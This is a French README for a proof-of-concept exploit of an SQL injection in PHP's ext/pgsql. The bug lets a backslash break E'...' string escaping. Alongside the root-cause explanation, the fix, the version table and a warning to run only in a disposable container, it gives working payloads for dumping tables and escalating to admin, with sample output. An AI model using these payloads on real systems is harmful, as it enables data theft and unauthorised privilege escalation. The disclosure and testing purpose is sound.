
Exploit PoC pour CVE-2026-17543 : injection SQL dans PHP ext/pgsql via une évasion par antislash, avec exfiltration de données et charges utiles d'élévation de privilèges administrateur pour PostgreSQL.
ext/pgsql via l'évasion de E'...' par barre oblique inverséePreuve de concept pour CVE-2026-17543 (CVSS 9.8 Critique, CWE-89), une vulnérabilité d'injection SQL dans l'extension PostgreSQL procédurale de PHP.
pg_insert(), pg_select(), pg_update(), pg_delete() et pg_convert() acheminent toutes les valeurs de chaîne via php_pgsql_convert(), qui :
PQescapeStringConn() de libpq — qui, avec standard_conforming_strings = on (le défaut de PostgreSQL depuis 9.1), double ' en '' et laisse \ intact (correct pour un littéral '...' standard).php_pgsql_add_quotes() dans une constante de chaîne d'échappement E'...' au lieu d'un simple '...'.Dans E'...', la barre oblique inversée est un caractère d'échappement, donc un \ placé avant un guillemet neutralise le doublement du guillemet : \' devient un ' littéral, et le second guillemet — placé là par l'échappeur pour servir de littéral doublé — termine désormais la chaîne prématurément. Tout ce qui suit est du SQL brut injecté.
Le correctif officiel (commit ab048bd83b57) tient en un caractère : émettre '...' au lieu de E'...'.
Non concernés : pg_query_params() (véritable liaison de paramètres) et les requêtes préparées PDO_PGSQL / PDO::quote() — ceux-ci utilisent des chemins de code distincts qui n'appellent jamais php_pgsql_add_quotes().
zzz\' OR 1=1 --
(une barre oblique inversée immédiatement avant le guillemet simple)
... WHERE "name"=E'zzz\'' OR 1=1 --' → OR 1=1 est analysé comme SQL → retourne toutes les lignes.... WHERE "name"='zzz\'' OR 1=1 --' → la barre oblique inversée est un caractère ordinaire, donc OR 1=1 -- est avalé à l'intérieur du littéral de chaîne → aucune correspondance.Une seconde charge utile (eve\', true) --) démontre l'élévation de privilèges via pg_insert(), en forçant une colonne admin à true.
docker compose up --build --abort-on-container-exit
PHP version: 8.4.23
standard_conforming_strings: on
----------------------------------------------------------------------
[1] pg_select() data exfiltration
payload (runtime): zzz\' OR 1=1 --
generated SQL:
SELECT * FROM "users" WHERE "name"=E'zzz\'' OR 1=1 --'
rows returned: 2
[!] INJECTION - leaked every row in the table
[2] pg_insert() privilege escalation
name payload (runtime): eve\', true) --
generated SQL:
INSERT INTO "users" ("name","admin") VALUES (E'eve\'', true) --','f')
inserted row admin flag: 't'
[!] INJECTION - admin column forced to TRUE
Done.
Sur un build corrigé, le SQL généré contient '...' (sans E), [1] rapporte rows returned: 0 / no injection, et [2] rapporte admin flag: 'f'.
Faites pointer PGCONN vers n'importe quel PostgreSQL et exécutez avec un PHP vulnérable :
PGCONN="host=127.0.0.1 port=5432 dbname=test user=test password=test" php poc.php
ext/pgsql (--with-pgsql / l'extension pgsql).standard_conforming_strings = on).docker compose down -v
L'image PHP utilisée ici est, par définition, non corrigée pour CVE-2026-17543. Exécutez-la uniquement dans un conteneur isolé et jetable, puis lancez docker compose down -v une fois terminé. Ne pointez jamais ce PoC vers une base de données à laquelle vous tenez.
| Branche | Vulnérable | Corrigé |
|---|
| PHP 8.2 | < 8.2.33 | 8.2.33 |
| PHP 8.3 | < 8.3.33 | 8.3.33 |
| PHP 8.4 | < 8.4.24 | 8.4.24 |
| PHP 8.5 | < 8.5.9 | 8.5.9 |
| Fichier | Description |
|---|
poc.php | Démontre à la fois les variantes d'exfiltration de données pg_select et d'élévation de privilèges pg_insert ; affiche le SQL généré pour que le jeton E'...' soit visible |
Dockerfile | Épingle une image PHP CLI vulnérable (php:8.4.23-cli) avec ext/pgsql |
docker-compose.yml | Démarre PostgreSQL 16 + le conteneur PHP vulnérable et exécute poc.php |